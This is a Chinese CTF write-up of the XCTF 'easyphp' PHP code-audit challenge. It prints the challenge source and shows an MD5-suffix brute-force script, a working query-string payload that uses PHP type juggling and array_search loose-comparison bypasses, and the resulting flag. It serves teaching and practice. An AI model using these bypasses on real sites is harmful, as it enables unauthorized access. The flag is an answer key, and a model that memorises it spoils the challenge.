攻防世界 easyphp

news2024/10/7 10:21:09

Easyphp   对于初学者其实一点也不easy哈

打开题目场景

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?> Emmm...

经典的php代码审计题

首先我们大致浏览一下,想要输出flag

Flag的输出与key1 && key2有关

key1 && key2又与我们通过get方式提交的a,b,c三个参数有关

a,b决定key1,c决定key2

我们一点点来看

参数a

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)

分析:

a的值需要大于 6000000,同时也需要长度小于3

尝试 科学技术法  7e6

参数b

 if(isset($b) && '8b184b' === substr(md5($b),-6,6))

分析:

b的后六位md5值要等与8b184b,这个需要使用脚本跑一下了,我偷懒这里使用一下最近很火的chatgpt

不得不说这个玩意是真的强

import hashlib

 



for i in range(100000):

    m = hashlib.md5()

    m.update(str(i).encode())

    h = m.hexdigest()

    if h[-6:] == "8b184b":

        print(i)

        break

得到b为53724

接下来是最难的

参数c

$c=(array)json_decode(@$_GET['c'])

分析:

C参数应该是一个json数据,解析成数组

if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)

判断c为数组  , is_numeric php内置函数判断是否为数字,题中不要数字,m键值要大于2022

想到了php弱类型比较   写一个2023a即可

 if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))

n必须为数组,键值有两个,类似于[[*,*...],*]。

 $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;

array_search() 函数与 in_array() 一样,在数组中查找一个键值。如果找到了该值,匹配元素的键名会被返回。如果没找到,则返回 false

数组中找DGGJ,如果没找到DGGJ,die,这里我们肯定找到了,接着往下执行

foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;

在php中,三个等号“===”是全等比较运算符,用于比较两个操作数的值是否相等,同时检测它们的类型是否相同;只有两边的值和数据类型都相等时,运算结果才是TRUE

匹配n的一个键值若等于DGGJ直接die

不能存在DGGJ,但array_search()又要查找并且要有结果,矛盾,这里肯定要绕过,全等肯定无法绕过

查到array_search()的绕过

array_search()没有设置strict参数(如果该参数被设置为 TRUE,则函数在数组中搜索数据类型和值都一致的元素),我们就可以用0DGGJ进行弱比较,0 == 'DGGJ'又0===='DGGJ'为false

即n的值中有0成功了写payload

?a=6e7&b=53724&c={"m":"2023a","n":[[],0]}

提交payload​​​​​​​

You're right cyberpeace{15ad787a1de7cf92b7fd50ee19e3c5cb}

提交

cyberpeace{15ad787a1de7cf92b7fd50ee19e3c5cb}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/86245.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

xxljob-core包handler文件夹里面的文件,MethodJobHandler类,让我们自己项目使用,就是将要执行的方法放到人家对象里面

目录 1 handler文件夹2 总结1 handler文件夹 以上是目录结构。 IJobHandler 是一个抽象类,具体的实现类就是impl里面的文件 那这个抽象类里面有什么方法 /*** job handler 任务处理触发器* 就是 要执行哪些代码* 抽象类* @author jing*/ public abstract class IJobHand…

Postgresql源码(93)Postgresql函数内事务控制实现原理(附带Oracle对比)

相关 《Postgresql源码&#xff08;60&#xff09;事务系统总结》 《Postgresql源码&#xff08;93&#xff09;Postgresql函数内事务控制实现原理&#xff08;附带Oracle对比&#xff09;》 0 总结 Postgresql与Oracle都是扁平化处理函数内外的事务控制语句的&#xff1a;即函…

aws eks 节点驱逐和OOMkill

资料 解决 K8s 调度不均衡问题kubernetes pod内容器状态OOMKilled和退出码137全流程解析 集群中pod触发oom的原因 默认pod能够使用节点的全部可用资源。节点的可分配资源如下 Allocatable Node Capacity - &#xff08;kube-reserved&#xff09; - &#xff08;system-res…

Linux基本指令(2)

Linux基本指令(2) &#x1f4df;作者主页&#xff1a;慢热的陕西人 &#x1f334;专栏链接&#xff1a;Linux &#x1f4e3;欢迎各位大佬&#x1f44d;点赞&#x1f525;关注&#x1f693;收藏&#xff0c;&#x1f349;留言 本博客将展示25-30个LInux中常用的命令&#xff0c;…

计算机网络第9章 无线网络和移动网络

目录 9.1 无线局域网 WLAN 9.1.1 无线局域网的组成 1. 无线局域网 WLAN (Wireless Local Area Network) 2. IEEE 802.11 3. 移动自组网络 9.1.2 802.11 局域网的物理层 9.1.3 802.11 局域网的 MAC 层协议 1. CSMA/CA 协议 2. 时间间隔 DIFS 的重要性 3. MAC两个子层…

fpga实操训练(按键消抖)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 之前我们谈到按键输入&#xff0c;其中涉及的功能就是&#xff0c;当按键按下的时候&#xff0c;led灯亮起来。等到按键弹起来的时候&#xff0c;l…

NLP领域表达退化各向异性理解及对应策略总结

前言&#xff1a;今年8月份在与同学撰写deepfake相关论文的过程中偶然听导师提到各向同性与各向异性这两个词&#xff0c;当时以为这是cv领域的概念&#xff0c;回去一查发现是物理领域的&#xff0c;就没再深究。最近看到一篇使用对比学习解决开放式长文本生成中模型退化问题的…

在 Spring Boot 中使用 HikariCP 连接池

目前星标 12K&#xff0c;被使用次数更是达到了 43.1K。再来看看它的自我介绍。 牛逼的不能行啊&#xff0c;原来 Hikari 来源于日语&#xff0c;“光”的意思&#xff0c;这意味着快得像光速一样吗&#xff1f;讲真&#xff0c;看简介的感觉就好像在和我的女神“汤唯”握手一样…

基于SSM的企业管理系统

项目描述 临近学期结束&#xff0c;还是毕业设计&#xff0c;你还在做java程序网络编程&#xff0c;期末作业&#xff0c;老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。这里根据疫情当下&#xff0c;你想解决的问…

[ vulhub漏洞复现篇 ] GhostScript 沙箱绕过(任意命令执行)漏洞CVE-2019-6116

&#x1f36c; 博主介绍 &#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 _PowerShell &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 &#x1f389;点赞➕评论➕收藏 养成习…

软件测试面试必看,资深测试工程师面试题集锦 全网首发

全网首发&#xff0c;最牛的全套软件测试 &#xff0c;自动化测试面试题&#xff0c;这些面试题都在文章末尾&#xff0c;有需要的可以自取 废话少说直接开始咱们今天的整体内容&#xff0c; 1.自我介绍&#xff1f; 我是谁、工作几年、你上家公司做什么、负责什么、你的优势…

史上最全事件相机DVS/Event-based Camera的介绍和分析综述文章

史上最全事件相机DVS/Event-based Camera的介绍和分析1. DVS 的一些介绍2. 基于事件的视觉传感器发展现状与趋势3. 事件相机的动态范围&#xff1a;信噪比动态范围DR结论4. 新型相机DVS/Event-based camera的发展及应用应用点传统相机的缺点事件相机的优点5. 事件相机在无人驾驶…

[技巧]还在使用RDP远程windows?OpenSSH远程win10操作系统!

文章目录前言一、Win10开启OpenSSH服务1.1 查看本机是否安装了openssh1.2 下载openssh1.3 查看ssh是否安装1.4 安装openssh服务端1.5 启动openssh服务1.6 查看openssh服务是否启动正常二、开始远程2.1 在目标机器上查看用户名2.2 使用ssh命令远程三、常见问题3.1 ssh命令登陆提…

C# 接口

一 接口 接口&#xff08;interface&#xff09;实际上是一个约定。 如&#xff1a;ICloneable,IComparable; 接口是抽象成员的集合&#xff1b; ICIonable含有方法clone(); IComparable含有方法compare(); 接口是一个引用类型&#xff0c;比抽象类更抽象。 帮助实现多重继承…

配置本地Git从Gitlab上拉取项目

配置本地Git从Gitlab上拉取项目 安装git&#xff1a; https://git-scm.com/downloads git官网下载安装包&#xff0c;安装时一路next即可 ①配置用户名&#xff0c;邮箱 创建一个文件夹&#xff0c;任意位置即可鼠标右键选择&#xff0c;git bash here配置提交人姓名、邮箱 g…

一起学习用Verilog在FPGA上实现CNN----(二)卷积层设计

1 打开Vivado工程 Vivado工程文件如图&#xff1a; 打开Vivado软件&#xff0c;打开工程&#xff0c;如图&#xff1a; 自动升级到当前版本&#xff0c;如图&#xff1a; 暂时选择现有开发板的型号&#xff0c;如图&#xff1a; 出现一条警告性信息&#xff0c;暂时先不管&…

2023年第五届人工智能与机器学习国际会议(FAIML 2023)

2023年第五届人工智能与机器学习国际会议(FAIML 2023) 重要信息 会议网址&#xff1a;www.faiml.org 会议时间&#xff1a;2023年4月14-16日 召开地点&#xff1a;中国北京 截稿时间&#xff1a;2023年3月15日 录用通知&#xff1a;投稿后2周内 收录检索&#xff1a;EI,S…

差分进化算法在图像处理中的应用研究(Matlab代码实现)

目录 &#x1f4a5;1 概述 &#x1f4da;2 运行结果 &#x1f389;3 参考文献 &#x1f468;‍&#x1f4bb;4 Matlab代码 &#x1f4a5;1 概述 本文为Storn和Price制定的著名差分进化计算智能算法的实现。该算法使用Otsu准则作为适应度函数&#xff0c;可用于使用多个阈值…

为什么球的表面积不能用周长积分而体积可以用面积积分?

问题描述&#xff1a; 将面积从最底下一层层叠到最上面可以得到球体积的正确公式 但是将周长从最底下一层层叠到最上面会得到错误结果&#xff0c;错误结果的几何意义是什么&#xff1f;以及是在什么地方积错了&#xff1f; 解答一&#xff1a; 首先&#xff0c; ∫−RR2πR2…

计算机研究生就业方向之去央企(国企)信息化部门

我一直跟学生们说你考计算机的研究生之前一定要想好你想干什么&#xff0c;如果你只是转码&#xff0c;那么你不一定要考研&#xff0c;至少以下几个职位研究生是没有啥优势的&#xff1a; 1&#xff0c;软件测试工程师&#xff08;培训一下就行&#xff09; 2&#xff0c;前…